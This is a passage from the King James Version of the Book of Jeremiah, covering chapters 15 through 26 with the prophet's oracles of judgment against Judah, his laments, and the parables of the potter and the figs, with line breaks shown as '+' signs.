Therefore thus saith the LORD, If thou return, then +will I bring thee again, and thou shalt stand before me: and if thou +take forth the precious from the vile, thou shalt be as my mouth: let +them return unto thee; but return not thou unto them. + +15:20 And I will make thee unto this people a fenced brasen wall: and +they shall fight against thee, but they shall not prevail against +thee: for I am with thee to save thee and to deliver thee, saith the +LORD. + +15:21 And I will deliver thee out of the hand of the wicked, and I +will redeem thee out of the hand of the terrible. + +16:1 The word of the LORD came also unto me, saying, 16:2 Thou shalt +not take thee a wife, neither shalt thou have sons or daughters in +this place. + +16:3 For thus saith the LORD concerning the sons and concerning the +daughters that are born in this place, and concerning their mothers +that bare them, and concerning their fathers that begat them in this +land; 16:4 They shall die of grievous deaths; they shall not be +lamented; neither shall they be buried; but they shall be as dung upon +the face of the earth: and they shall be consumed by the sword, and by +famine; and their carcases shall be meat for the fowls of heaven, and +for the beasts of the earth. + +16:5 For thus saith the LORD, Enter not into the house of mourning, +neither go to lament nor bemoan them: for I have taken away my peace +from this people, saith the LORD, even lovingkindness and mercies. + +16:6 Both the great and the small shall die in this land: they shall +not be buried, neither shall men lament for them, nor cut themselves, +nor make themselves bald for them: 16:7 Neither shall men tear +themselves for them in mourning, to comfort them for the dead; neither +shall men give them the cup of consolation to drink for their father +or for their mother. + +16:8 Thou shalt not also go into the house of feasting, to sit with +them to eat and to drink. + +16:9 For thus saith the LORD of hosts, the God of Israel; Behold, I +will cause to cease out of this place in your eyes, and in your days, +the voice of mirth, and the voice of gladness, the voice of the +bridegroom, and the voice of the bride. + +16:10 And it shall come to pass, when thou shalt shew this people all +these words, and they shall say unto thee, Wherefore hath the LORD +pronounced all this great evil against us? or what is our iniquity? or +what is our sin that we have committed against the LORD our God? +16:11 Then shalt thou say unto them, Because your fathers have +forsaken me, saith the LORD, and have walked after other gods, and +have served them, and have worshipped them, and have forsaken me, and +have not kept my law; 16:12 And ye have done worse than your fathers; +for, behold, ye walk every one after the imagination of his evil +heart, that they may not hearken unto me: 16:13 Therefore will I cast +you out of this land into a land that ye know not, neither ye nor your +fathers; and there shall ye serve other gods day and night; where I +will not shew you favour. + +16:14 Therefore, behold, the days come, saith the LORD, that it shall +no more be said, The LORD liveth, that brought up the children of +Israel out of the land of Egypt; 16:15 But, The LORD liveth, that +brought up the children of Israel from the land of the north, and from +all the lands whither he had driven them: and I will bring them again +into their land that I gave unto their fathers. + +16:16 Behold, I will send for many fishers, saith the LORD, and they +shall fish them; and after will I send for many hunters, and they +shall hunt them from every mountain, and from every hill, and out of +the holes of the rocks. + +16:17 For mine eyes are upon all their ways: they are not hid from my +face, neither is their iniquity hid from mine eyes. + +16:18 And first I will recompense their iniquity and their sin double; +because they have defiled my land, they have filled mine inheritance +with the carcases of their detestable and abominable things. + +16:19 O LORD, my strength, and my fortress, and my refuge in the day +of affliction, the Gentiles shall come unto thee from the ends of the +earth, and shall say, Surely our fathers have inherited lies, vanity, +and things wherein there is no profit. + +16:20 Shall a man make gods unto himself, and they are no gods? 16:21 +Therefore, behold, I will this once cause them to know, I will cause +them to know mine hand and my might; and they shall know that my name +is The LORD. + +17:1 The sin of Judah is written with a pen of iron, and with the +point of a diamond: it is graven upon the table of their heart, and +upon the horns of your altars; 17:2 Whilst their children remember +their altars and their groves by the green trees upon the high hills. + +17:3 O my mountain in the field, I will give thy substance and all thy +treasures to the spoil, and thy high places for sin, throughout all +thy borders. + +17:4 And thou, even thyself, shalt discontinue from thine heritage +that I gave thee; and I will cause thee to serve thine enemies in the +land which thou knowest not: for ye have kindled a fire in mine anger, +which shall burn for ever. + +17:5 Thus saith the LORD; Cursed be the man that trusteth in man, and +maketh flesh his arm, and whose heart departeth from the LORD. + +17:6 For he shall be like the heath in the desert, and shall not see +when good cometh; but shall inhabit the parched places in the +wilderness, in a salt land and not inhabited. + +17:7 Blessed is the man that trusteth in the LORD, and whose hope the +LORD is. + +17:8 For he shall be as a tree planted by the waters, and that +spreadeth out her roots by the river, and shall not see when heat +cometh, but her leaf shall be green; and shall not be careful in the +year of drought, neither shall cease from yielding fruit. + +17:9 The heart is deceitful above all things, and desperately wicked: +who can know it? 17:10 I the LORD search the heart, I try the reins, +even to give every man according to his ways, and according to the +fruit of his doings. + +17:11 As the partridge sitteth on eggs, and hatcheth them not; so he +that getteth riches, and not by right, shall leave them in the midst +of his days, and at his end shall be a fool. + +17:12 A glorious high throne from the beginning is the place of our +sanctuary. + +17:13 O LORD, the hope of Israel, all that forsake thee shall be +ashamed, and they that depart from me shall be written in the earth, +because they have forsaken the LORD, the fountain of living waters. + +17:14 Heal me, O LORD, and I shall be healed; save me, and I shall be +saved: for thou art my praise. + +17:15 Behold, they say unto me, Where is the word of the LORD? let it +come now. + +17:16 As for me, I have not hastened from being a pastor to follow +thee: neither have I desired the woeful day; thou knowest: that which +came out of my lips was right before thee. + +17:17 Be not a terror unto me: thou art my hope in the day of evil. + +17:18 Let them be confounded that persecute me, but let not me be +confounded: let them be dismayed, but let not me be dismayed: bring +upon them the day of evil, and destroy them with double destruction. + +17:19 Thus said the LORD unto me; Go and stand in the gate of the +children of the people, whereby the kings of Judah come in, and by the +which they go out, and in all the gates of Jerusalem; 17:20 And say +unto them, Hear ye the word of the LORD, ye kings of Judah, and all +Judah, and all the inhabitants of Jerusalem, that enter in by these +gates: 17:21 Thus saith the LORD; Take heed to yourselves, and bear no +burden on the sabbath day, nor bring it in by the gates of Jerusalem; +17:22 Neither carry forth a burden out of your houses on the sabbath +day, neither do ye any work, but hallow ye the sabbath day, as I +commanded your fathers. + +17:23 But they obeyed not, neither inclined their ear, but made their +neck stiff, that they might not hear, nor receive instruction. + +17:24 And it shall come to pass, if ye diligently hearken unto me, +saith the LORD, to bring in no burden through the gates of this city +on the sabbath day, but hallow the sabbath day, to do no work therein; +17:25 Then shall there enter into the gates of this city kings and +princes sitting upon the throne of David, riding in chariots and on +horses, they, and their princes, the men of Judah, and the inhabitants +of Jerusalem: and this city shall remain for ever. + +17:26 And they shall come from the cities of Judah, and from the +places about Jerusalem, and from the land of Benjamin, and from the +plain, and from the mountains, and from the south, bringing burnt +offerings, and sacrifices, and meat offerings, and incense, and +bringing sacrifices of praise, unto the house of the LORD. + +17:27 But if ye will not hearken unto me to hallow the sabbath day, +and not to bear a burden, even entering in at the gates of Jerusalem +on the sabbath day; then will I kindle a fire in the gates thereof, +and it shall devour the palaces of Jerusalem, and it shall not be +quenched. + +18:1 The word which came to Jeremiah from the LORD, saying, 18:2 +Arise, and go down to the potter's house, and there I will cause thee +to hear my words. + +18:3 Then I went down to the potter's house, and, behold, he wrought a +work on the wheels. + +18:4 And the vessel that he made of clay was marred in the hand of the +potter: so he made it again another vessel, as seemed good to the +potter to make it. + +18:5 Then the word of the LORD came to me, saying, 18:6 O house of +Israel, cannot I do with you as this potter? saith the LORD. Behold, +as the clay is in the potter's hand, so are ye in mine hand, O house +of Israel. + +18:7 At what instant I shall speak concerning a nation, and concerning +a kingdom, to pluck up, and to pull down, and to destroy it; 18:8 If +that nation, against whom I have pronounced, turn from their evil, I +will repent of the evil that I thought to do unto them. + +18:9 And at what instant I shall speak concerning a nation, and +concerning a kingdom, to build and to plant it; 18:10 If it do evil in +my sight, that it obey not my voice, then I will repent of the good, +wherewith I said I would benefit them. + +18:11 Now therefore go to, speak to the men of Judah, and to the +inhabitants of Jerusalem, saying, Thus saith the LORD; Behold, I frame +evil against you, and devise a device against you: return ye now every +one from his evil way, and make your ways and your doings good. + +18:12 And they said, There is no hope: but we will walk after our own +devices, and we will every one do the imagination of his evil heart. + +18:13 Therefore thus saith the LORD; Ask ye now among the heathen, who +hath heard such things: the virgin of Israel hath done a very horrible +thing. + +18:14 Will a man leave the snow of Lebanon which cometh from the rock +of the field? or shall the cold flowing waters that come from another +place be forsaken? 18:15 Because my people hath forgotten me, they +have burned incense to vanity, and they have caused them to stumble in +their ways from the ancient paths, to walk in paths, in a way not cast +up; 18:16 To make their land desolate, and a perpetual hissing; every +one that passeth thereby shall be astonished, and wag his head. + +18:17 I will scatter them as with an east wind before the enemy; I +will shew them the back, and not the face, in the day of their +calamity. + +18:18 Then said they, Come and let us devise devices against Jeremiah; +for the law shall not perish from the priest, nor counsel from the +wise, nor the word from the prophet. Come, and let us smite him with +the tongue, and let us not give heed to any of his words. + +18:19 Give heed to me, O LORD, and hearken to the voice of them that +contend with me. + +18:20 Shall evil be recompensed for good? for they have digged a pit +for my soul. Remember that I stood before thee to speak good for them, +and to turn away thy wrath from them. + +18:21 Therefore deliver up their children to the famine, and pour out +their blood by the force of the sword; and let their wives be bereaved +of their children, and be widows; and let their men be put to death; +let their young men be slain by the sword in battle. + +18:22 Let a cry be heard from their houses, when thou shalt bring a +troop suddenly upon them: for they have digged a pit to take me, and +hid snares for my feet. + +18:23 Yet, LORD, thou knowest all their counsel against me to slay me: +forgive not their iniquity, neither blot out their sin from thy sight, +but let them be overthrown before thee; deal thus with them in the +time of thine anger. + +19:1 Thus saith the LORD, Go and get a potter's earthen bottle, and +take of the ancients of the people, and of the ancients of the +priests; 19:2 And go forth unto the valley of the son of Hinnom, which +is by the entry of the east gate, and proclaim there the words that I +shall tell thee, 19:3 And say, Hear ye the word of the LORD, O kings +of Judah, and inhabitants of Jerusalem; Thus saith the LORD of hosts, +the God of Israel; Behold, I will bring evil upon this place, the +which whosoever heareth, his ears shall tingle. + +19:4 Because they have forsaken me, and have estranged this place, and +have burned incense in it unto other gods, whom neither they nor their +fathers have known, nor the kings of Judah, and have filled this place +with the blood of innocents; 19:5 They have built also the high places +of Baal, to burn their sons with fire for burnt offerings unto Baal, +which I commanded not, nor spake it, neither came it into my mind: +19:6 Therefore, behold, the days come, saith the LORD, that this place +shall no more be called Tophet, nor The valley of the son of Hinnom, +but The valley of slaughter. + +19:7 And I will make void the counsel of Judah and Jerusalem in this +place; and I will cause them to fall by the sword before their +enemies, and by the hands of them that seek their lives: and their +carcases will I give to be meat for the fowls of the heaven, and for +the beasts of the earth. + +19:8 And I will make this city desolate, and an hissing; every one +that passeth thereby shall be astonished and hiss because of all the +plagues thereof. + +19:9 And I will cause them to eat the flesh of their sons and the +flesh of their daughters, and they shall eat every one the flesh of +his friend in the siege and straitness, wherewith their enemies, and +they that seek their lives, shall straiten them. + +19:10 Then shalt thou break the bottle in the sight of the men that go +with thee, 19:11 And shalt say unto them, Thus saith the LORD of +hosts; Even so will I break this people and this city, as one breaketh +a potter's vessel, that cannot be made whole again: and they shall +bury them in Tophet, till there be no place to bury. + +19:12 Thus will I do unto this place, saith the LORD, and to the +inhabitants thereof, and even make this city as Tophet: 19:13 And the +houses of Jerusalem, and the houses of the kings of Judah, shall be +defiled as the place of Tophet, because of all the houses upon whose +roofs they have burned incense unto all the host of heaven, and have +poured out drink offerings unto other gods. + +19:14 Then came Jeremiah from Tophet, whither the LORD had sent him to +prophesy; and he stood in the court of the LORD's house; and said to +all the people, 19:15 Thus saith the LORD of hosts, the God of Israel; +Behold, I will bring upon this city and upon all her towns all the +evil that I have pronounced against it, because they have hardened +their necks, that they might not hear my words. + +20:1 Now Pashur the son of Immer the priest, who was also chief +governor in the house of the LORD, heard that Jeremiah prophesied +these things. + +20:2 Then Pashur smote Jeremiah the prophet, and put him in the stocks +that were in the high gate of Benjamin, which was by the house of the +LORD. + +20:3 And it came to pass on the morrow, that Pashur brought forth +Jeremiah out of the stocks. Then said Jeremiah unto him, The LORD hath +not called thy name Pashur, but Magormissabib. + +20:4 For thus saith the LORD, Behold, I will make thee a terror to +thyself, and to all thy friends: and they shall fall by the sword of +their enemies, and thine eyes shall behold it: and I will give all +Judah into the hand of the king of Babylon, and he shall carry them +captive into Babylon, and shall slay them with the sword. + +20:5 Moreover I will deliver all the strength of this city, and all +the labours thereof, and all the precious things thereof, and all the +treasures of the kings of Judah will I give into the hand of their +enemies, which shall spoil them, and take them, and carry them to +Babylon. + +20:6 And thou, Pashur, and all that dwell in thine house shall go into +captivity: and thou shalt come to Babylon, and there thou shalt die, +and shalt be buried there, thou, and all thy friends, to whom thou +hast prophesied lies. + +20:7 O LORD, thou hast deceived me, and I was deceived; thou art +stronger than I, and hast prevailed: I am in derision daily, every one +mocketh me. + +20:8 For since I spake, I cried out, I cried violence and spoil; +because the word of the LORD was made a reproach unto me, and a +derision, daily. + +20:9 Then I said, I will not make mention of him, nor speak any more +in his name. But his word was in mine heart as a burning fire shut up +in my bones, and I was weary with forbearing, and I could not stay. + +20:10 For I heard the defaming of many, fear on every side. Report, +say they, and we will report it. All my familiars watched for my +halting, saying, Peradventure he will be enticed, and we shall prevail +against him, and we shall take our revenge on him. + +20:11 But the LORD is with me as a mighty terrible one: therefore my +persecutors shall stumble, and they shall not prevail: they shall be +greatly ashamed; for they shall not prosper: their everlasting +confusion shall never be forgotten. + +20:12 But, O LORD of hosts, that triest the righteous, and seest the +reins and the heart, let me see thy vengeance on them: for unto thee +have I opened my cause. + +20:13 Sing unto the LORD, praise ye the LORD: for he hath delivered +the soul of the poor from the hand of evildoers. + +20:14 Cursed be the day wherein I was born: let not the day wherein my +mother bare me be blessed. + +20:15 Cursed be the man who brought tidings to my father, saying, A +man child is born unto thee; making him very glad. + +20:16 And let that man be as the cities which the LORD overthrew, and +repented not: and let him hear the cry in the morning, and the +shouting at noontide; 20:17 Because he slew me not from the womb; or +that my mother might have been my grave, and her womb to be always +great with me. + +20:18 Wherefore came I forth out of the womb to see labour and sorrow, +that my days should be consumed with shame? 21:1 The word which came +unto Jeremiah from the LORD, when king Zedekiah sent unto him Pashur +the son of Melchiah, and Zephaniah the son of Maaseiah the priest, +saying, 21:2 Enquire, I pray thee, of the LORD for us; for +Nebuchadrezzar king of Babylon maketh war against us; if so be that +the LORD will deal with us according to all his wondrous works, that +he may go up from us. + +21:3 Then said Jeremiah unto them, Thus shall ye say to Zedekiah: 21:4 +Thus saith the LORD God of Israel; Behold, I will turn back the +weapons of war that are in your hands, wherewith ye fight against the +king of Babylon, and against the Chaldeans, which besiege you without +the walls, and I will assemble them into the midst of this city. + +21:5 And I myself will fight against you with an outstretched hand and +with a strong arm, even in anger, and in fury, and in great wrath. + +21:6 And I will smite the inhabitants of this city, both man and +beast: they shall die of a great pestilence. + +21:7 And afterward, saith the LORD, I will deliver Zedekiah king of +Judah, and his servants, and the people, and such as are left in this +city from the pestilence, from the sword, and from the famine, into +the hand of Nebuchadrezzar king of Babylon, and into the hand of their +enemies, and into the hand of those that seek their life: and he shall +smite them with the edge of the sword; he shall not spare them, +neither have pity, nor have mercy. + +21:8 And unto this people thou shalt say, Thus saith the LORD; Behold, +I set before you the way of life, and the way of death. + +21:9 He that abideth in this city shall die by the sword, and by the +famine, and by the pestilence: but he that goeth out, and falleth to +the Chaldeans that besiege you, he shall live, and his life shall be +unto him for a prey. + +21:10 For I have set my face against this city for evil, and not for +good, saith the LORD: it shall be given into the hand of the king of +Babylon, and he shall burn it with fire. + +21:11 And touching the house of the king of Judah, say, Hear ye the +word of the LORD; 21:12 O house of David, thus saith the LORD; Execute +judgment in the morning, and deliver him that is spoiled out of the +hand of the oppressor, lest my fury go out like fire, and burn that +none can quench it, because of the evil of your doings. + +21:13 Behold, I am against thee, O inhabitant of the valley, and rock +of the plain, saith the LORD; which say, Who shall come down against +us? or who shall enter into our habitations? 21:14 But I will punish +you according to the fruit of your doings, saith the LORD: and I will +kindle a fire in the forest thereof, and it shall devour all things +round about it. + +22:1 Thus saith the LORD; Go down to the house of the king of Judah, +and speak there this word, 22:2 And say, Hear the word of the LORD, O +king of Judah, that sittest upon the throne of David, thou, and thy +servants, and thy people that enter in by these gates: 22:3 Thus saith +the LORD; Execute ye judgment and righteousness, and deliver the +spoiled out of the hand of the oppressor: and do no wrong, do no +violence to the stranger, the fatherless, nor the widow, neither shed +innocent blood in this place. + +22:4 For if ye do this thing indeed, then shall there enter in by the +gates of this house kings sitting upon the throne of David, riding in +chariots and on horses, he, and his servants, and his people. + +22:5 But if ye will not hear these words, I swear by myself, saith the +LORD, that this house shall become a desolation. + +22:6 For thus saith the LORD unto the king's house of Judah; Thou art +Gilead unto me, and the head of Lebanon: yet surely I will make thee a +wilderness, and cities which are not inhabited. + +22:7 And I will prepare destroyers against thee, every one with his +weapons: and they shall cut down thy choice cedars, and cast them into +the fire. + +22:8 And many nations shall pass by this city, and they shall say +every man to his neighbour, Wherefore hath the LORD done thus unto +this great city? 22:9 Then they shall answer, Because they have +forsaken the covenant of the LORD their God, and worshipped other +gods, and served them. + +22:10 Weep ye not for the dead, neither bemoan him: but weep sore for +him that goeth away: for he shall return no more, nor see his native +country. + +22:11 For thus saith the LORD touching Shallum the son of Josiah king +of Judah, which reigned instead of Josiah his father, which went forth +out of this place; He shall not return thither any more: 22:12 But he +shall die in the place whither they have led him captive, and shall +see this land no more. + +22:13 Woe unto him that buildeth his house by unrighteousness, and his +chambers by wrong; that useth his neighbour's service without wages, +and giveth him not for his work; 22:14 That saith, I will build me a +wide house and large chambers, and cutteth him out windows; and it is +cieled with cedar, and painted with vermilion. + +22:15 Shalt thou reign, because thou closest thyself in cedar? did not +thy father eat and drink, and do judgment and justice, and then it was +well with him? 22:16 He judged the cause of the poor and needy; then +it was well with him: was not this to know me? saith the LORD. + +22:17 But thine eyes and thine heart are not but for thy covetousness, +and for to shed innocent blood, and for oppression, and for violence, +to do it. + +22:18 Therefore thus saith the LORD concerning Jehoiakim the son of +Josiah king of Judah; They shall not lament for him, saying, Ah my +brother! or, Ah sister! they shall not lament for him, saying, Ah +lord! or, Ah his glory! 22:19 He shall be buried with the burial of +an ass, drawn and cast forth beyond the gates of Jerusalem. + +22:20 Go up to Lebanon, and cry; and lift up thy voice in Bashan, and +cry from the passages: for all thy lovers are destroyed. + +22:21 I spake unto thee in thy prosperity; but thou saidst, I will not +hear. This hath been thy manner from thy youth, that thou obeyedst not +my voice. + +22:22 The wind shall eat up all thy pastors, and thy lovers shall go +into captivity: surely then shalt thou be ashamed and confounded for +all thy wickedness. + +22:23 O inhabitant of Lebanon, that makest thy nest in the cedars, how +gracious shalt thou be when pangs come upon thee, the pain as of a +woman in travail! 22:24 As I live, saith the LORD, though Coniah the +son of Jehoiakim king of Judah were the signet upon my right hand, yet +would I pluck thee thence; 22:25 And I will give thee into the hand of +them that seek thy life, and into the hand of them whose face thou +fearest, even into the hand of Nebuchadrezzar king of Babylon, and +into the hand of the Chaldeans. + +22:26 And I will cast thee out, and thy mother that bare thee, into +another country, where ye were not born; and there shall ye die. + +22:27 But to the land whereunto they desire to return, thither shall +they not return. + +22:28 Is this man Coniah a despised broken idol? is he a vessel +wherein is no pleasure? wherefore are they cast out, he and his seed, +and are cast into a land which they know not? 22:29 O earth, earth, +earth, hear the word of the LORD. + +22:30 Thus saith the LORD, Write ye this man childless, a man that +shall not prosper in his days: for no man of his seed shall prosper, +sitting upon the throne of David, and ruling any more in Judah. + +23:1 Woe be unto the pastors that destroy and scatter the sheep of my +pasture! saith the LORD. + +23:2 Therefore thus saith the LORD God of Israel against the pastors +that feed my people; Ye have scattered my flock, and driven them away, +and have not visited them: behold, I will visit upon you the evil of +your doings, saith the LORD. + +23:3 And I will gather the remnant of my flock out of all countries +whither I have driven them, and will bring them again to their folds; +and they shall be fruitful and increase. + +23:4 And I will set up shepherds over them which shall feed them: and +they shall fear no more, nor be dismayed, neither shall they be +lacking, saith the LORD. + +23:5 Behold, the days come, saith the LORD, that I will raise unto +David a righteous Branch, and a King shall reign and prosper, and +shall execute judgment and justice in the earth. + +23:6 In his days Judah shall be saved, and Israel shall dwell safely: +and this is his name whereby he shall be called, THE LORD OUR +RIGHTEOUSNESS. + +23:7 Therefore, behold, the days come, saith the LORD, that they shall +no more say, The LORD liveth, which brought up the children of Israel +out of the land of Egypt; 23:8 But, The LORD liveth, which brought up +and which led the seed of the house of Israel out of the north +country, and from all countries whither I had driven them; and they +shall dwell in their own land. + +23:9 Mine heart within me is broken because of the prophets; all my +bones shake; I am like a drunken man, and like a man whom wine hath +overcome, because of the LORD, and because of the words of his +holiness. + +23:10 For the land is full of adulterers; for because of swearing the +land mourneth; the pleasant places of the wilderness are dried up, and +their course is evil, and their force is not right. + +23:11 For both prophet and priest are profane; yea, in my house have I +found their wickedness, saith the LORD. + +23:12 Wherefore their way shall be unto them as slippery ways in the +darkness: they shall be driven on, and fall therein: for I will bring +evil upon them, even the year of their visitation, saith the LORD. + +23:13 And I have seen folly in the prophets of Samaria; they +prophesied in Baal, and caused my people Israel to err. + +23:14 I have seen also in the prophets of Jerusalem an horrible thing: +they commit adultery, and walk in lies: they strengthen also the hands +of evildoers, that none doth return from his wickedness; they are all +of them unto me as Sodom, and the inhabitants thereof as Gomorrah. + +23:15 Therefore thus saith the LORD of hosts concerning the prophets; +Behold, I will feed them with wormwood, and make them drink the water +of gall: for from the prophets of Jerusalem is profaneness gone forth +into all the land. + +23:16 Thus saith the LORD of hosts, Hearken not unto the words of the +prophets that prophesy unto you: they make you vain: they speak a +vision of their own heart, and not out of the mouth of the LORD. + +23:17 They say still unto them that despise me, The LORD hath said, Ye +shall have peace; and they say unto every one that walketh after the +imagination of his own heart, No evil shall come upon you. + +23:18 For who hath stood in the counsel of the LORD, and hath +perceived and heard his word? who hath marked his word, and heard it? +23:19 Behold, a whirlwind of the LORD is gone forth in fury, even a +grievous whirlwind: it shall fall grievously upon the head of the +wicked. + +23:20 The anger of the LORD shall not return, until he have executed, +and till he have performed the thoughts of his heart: in the latter +days ye shall consider it perfectly. + +23:21 I have not sent these prophets, yet they ran: I have not spoken +to them, yet they prophesied. + +23:22 But if they had stood in my counsel, and had caused my people to +hear my words, then they should have turned them from their evil way, +and from the evil of their doings. + +23:23 Am I a God at hand, saith the LORD, and not a God afar off? +23:24 Can any hide himself in secret places that I shall not see him? +saith the LORD. Do not I fill heaven and earth? saith the LORD. + +23:25 I have heard what the prophets said, that prophesy lies in my +name, saying, I have dreamed, I have dreamed. + +23:26 How long shall this be in the heart of the prophets that +prophesy lies? yea, they are prophets of the deceit of their own +heart; 23:27 Which think to cause my people to forget my name by their +dreams which they tell every man to his neighbour, as their fathers +have forgotten my name for Baal. + +23:28 The prophet that hath a dream, let him tell a dream; and he that +hath my word, let him speak my word faithfully. What is the chaff to +the wheat? saith the LORD. + +23:29 Is not my word like as a fire? saith the LORD; and like a hammer +that breaketh the rock in pieces? 23:30 Therefore, behold, I am +against the prophets, saith the LORD, that steal my words every one +from his neighbour. + +23:31 Behold, I am against the prophets, saith the LORD, that use +their tongues, and say, He saith. + +23:32 Behold, I am against them that prophesy false dreams, saith the +LORD, and do tell them, and cause my people to err by their lies, and +by their lightness; yet I sent them not, nor commanded them: therefore +they shall not profit this people at all, saith the LORD. + +23:33 And when this people, or the prophet, or a priest, shall ask +thee, saying, What is the burden of the LORD? thou shalt then say unto +them, What burden? I will even forsake you, saith the LORD. + +23:34 And as for the prophet, and the priest, and the people, that +shall say, The burden of the LORD, I will even punish that man and his +house. + +23:35 Thus shall ye say every one to his neighbour, and every one to +his brother, What hath the LORD answered? and, What hath the LORD +spoken? 23:36 And the burden of the LORD shall ye mention no more: +for every man's word shall be his burden; for ye have perverted the +words of the living God, of the LORD of hosts our God. + +23:37 Thus shalt thou say to the prophet, What hath the LORD answered +thee? and, What hath the LORD spoken? 23:38 But since ye say, The +burden of the LORD; therefore thus saith the LORD; Because ye say this +word, The burden of the LORD, and I have sent unto you, saying, Ye +shall not say, The burden of the LORD; 23:39 Therefore, behold, I, +even I, will utterly forget you, and I will forsake you, and the city +that I gave you and your fathers, and cast you out of my presence: +23:40 And I will bring an everlasting reproach upon you, and a +perpetual shame, which shall not be forgotten. + +24:1 The LORD shewed me, and, behold, two baskets of figs were set +before the temple of the LORD, after that Nebuchadrezzar king of +Babylon had carried away captive Jeconiah the son of Jehoiakim king of +Judah, and the princes of Judah, with the carpenters and smiths, from +Jerusalem, and had brought them to Babylon. + +24:2 One basket had very good figs, even like the figs that are first +ripe: and the other basket had very naughty figs, which could not be +eaten, they were so bad. + +24:3 Then said the LORD unto me, What seest thou, Jeremiah? And I +said, Figs; the good figs, very good; and the evil, very evil, that +cannot be eaten, they are so evil. + +24:4 Again the word of the LORD came unto me, saying, 24:5 Thus saith +the LORD, the God of Israel; Like these good figs, so will I +acknowledge them that are carried away captive of Judah, whom I have +sent out of this place into the land of the Chaldeans for their good. + +24:6 For I will set mine eyes upon them for good, and I will bring +them again to this land: and I will build them, and not pull them +down; and I will plant them, and not pluck them up. + +24:7 And I will give them an heart to know me, that I am the LORD: and +they shall be my people, and I will be their God: for they shall +return unto me with their whole heart. + +24:8 And as the evil figs, which cannot be eaten, they are so evil; +surely thus saith the LORD, So will I give Zedekiah the king of Judah, +and his princes, and the residue of Jerusalem, that remain in this +land, and them that dwell in the land of Egypt: 24:9 And I will +deliver them to be removed into all the kingdoms of the earth for +their hurt, to be a reproach and a proverb, a taunt and a curse, in +all places whither I shall drive them. + +24:10 And I will send the sword, the famine, and the pestilence, among +them, till they be consumed from off the land that I gave unto them +and to their fathers. + +25:1 The word that came to Jeremiah concerning all the people of Judah +in the fourth year of Jehoiakim the son of Josiah king of Judah, that +was the first year of Nebuchadrezzar king of Babylon; 25:2 The which +Jeremiah the prophet spake unto all the people of Judah, and to all +the inhabitants of Jerusalem, saying, 25:3 From the thirteenth year of +Josiah the son of Amon king of Judah, even unto this day, that is the +three and twentieth year, the word of the LORD hath come unto me, and +I have spoken unto you, rising early and speaking; but ye have not +hearkened. + +25:4 And the LORD hath sent unto you all his servants the prophets, +rising early and sending them; but ye have not hearkened, nor inclined +your ear to hear. + +25:5 They said, Turn ye again now every one from his evil way, and +from the evil of your doings, and dwell in the land that the LORD hath +given unto you and to your fathers for ever and ever: 25:6 And go not +after other gods to serve them, and to worship them, and provoke me +not to anger with the works of your hands; and I will do you no hurt. + +25:7 Yet ye have not hearkened unto me, saith the LORD; that ye might +provoke me to anger with the works of your hands to your own hurt. + +25:8 Therefore thus saith the LORD of hosts; Because ye have not heard +my words, 25:9 Behold, I will send and take all the families of the +north, saith the LORD, and Nebuchadrezzar the king of Babylon, my +servant, and will bring them against this land, and against the +inhabitants thereof, and against all these nations round about, and +will utterly destroy them, and make them an astonishment, and an +hissing, and perpetual desolations. + +25:10 Moreover I will take from them the voice of mirth, and the voice +of gladness, the voice of the bridegroom, and the voice of the bride, +the sound of the millstones, and the light of the candle. + +25:11 And this whole land shall be a desolation, and an astonishment; +and these nations shall serve the king of Babylon seventy years. + +25:12 And it shall come to pass, when seventy years are accomplished, +that I will punish the king of Babylon, and that nation, saith the +LORD, for their iniquity, and the land of the Chaldeans, and will make +it perpetual desolations. + +25:13 And I will bring upon that land all my words which I have +pronounced against it, even all that is written in this book, which +Jeremiah hath prophesied against all the nations. + +25:14 For many nations and great kings shall serve themselves of them +also: and I will recompense them according to their deeds, and +according to the works of their own hands. + +25:15 For thus saith the LORD God of Israel unto me; Take the wine cup +of this fury at my hand, and cause all the nations, to whom I send +thee, to drink it. + +25:16 And they shall drink, and be moved, and be mad, because of the +sword that I will send among them. + +25:17 Then took I the cup at the LORD's hand, and made all the nations +to drink, unto whom the LORD had sent me: 25:18 To wit, Jerusalem, and +the cities of Judah, and the kings thereof, and the princes thereof, +to make them a desolation, an astonishment, an hissing, and a curse; +as it is this day; 25:19 Pharaoh king of Egypt, and his servants, and +his princes, and all his people; 25:20 And all the mingled people, and +all the kings of the land of Uz, and all the kings of the land of the +Philistines, and Ashkelon, and Azzah, and Ekron, and the remnant of +Ashdod, 25:21 Edom, and Moab, and the children of Ammon, 25:22 And all +the kings of Tyrus, and all the kings of Zidon, and the kings of the +isles which are beyond the sea, 25:23 Dedan, and Tema, and Buz, and +all that are in the utmost corners, 25:24 And all the kings of Arabia, +and all the kings of the mingled people that dwell in the desert, +25:25 And all the kings of Zimri, and all the kings of Elam, and all +the kings of the Medes, 25:26 And all the kings of the north, far and +near, one with another, and all the kingdoms of the world, which are +upon the face of the earth: and the king of Sheshach shall drink after +them. + +25:27 Therefore thou shalt say unto them, Thus saith the LORD of +hosts, the God of Israel; Drink ye, and be drunken, and spue, and +fall, and rise no more, because of the sword which I will send among +you. + +25:28 And it shall be, if they refuse to take the cup at thine hand to +drink, then shalt thou say unto them, Thus saith the LORD of hosts; Ye +shall certainly drink. + +25:29 For, lo, I begin to bring evil on the city which is called by my +name, and should ye be utterly unpunished? Ye shall not be unpunished: +for I will call for a sword upon all the inhabitants of the earth, +saith the LORD of hosts. + +25:30 Therefore prophesy thou against them all these words, and say +unto them, The LORD shall roar from on high, and utter his voice from +his holy habitation; he shall mightily roar upon his habitation; he +shall give a shout, as they that tread the grapes, against all the +inhabitants of the earth. + +25:31 A noise shall come even to the ends of the earth; for the LORD +hath a controversy with the nations, he will plead with all flesh; he +will give them that are wicked to the sword, saith the LORD. + +25:32 Thus saith the LORD of hosts, Behold, evil shall go forth from +nation to nation, and a great whirlwind shall be raised up from the +coasts of the earth. + +25:33 And the slain of the LORD shall be at that day from one end of +the earth even unto the other end of the earth: they shall not be +lamented, neither gathered, nor buried; they shall be dung upon the +ground. + +25:34 Howl, ye shepherds, and cry; and wallow yourselves in the ashes, +ye principal of the flock: for the days of your slaughter and of your +dispersions are accomplished; and ye shall fall like a pleasant +vessel. + +25:35 And the shepherds shall have no way to flee, nor the principal +of the flock to escape. + +25:36 A voice of the cry of the shepherds, and an howling of the +principal of the flock, shall be heard: for the LORD hath spoiled +their pasture. + +25:37 And the peaceable habitations are cut down because of the fierce +anger of the LORD. + +25:38 He hath forsaken his covert, as the lion: for their land is +desolate because of the fierceness of the oppressor, and because of +his fierce anger. + +26:1 In the beginning of the reign of Jehoiakim the son of Josiah king +of Judah came this word from the LORD, saying, 26:2 Thus saith the +LORD; Stand in the court of the LORD's house, and speak unto all the +cities of Judah, 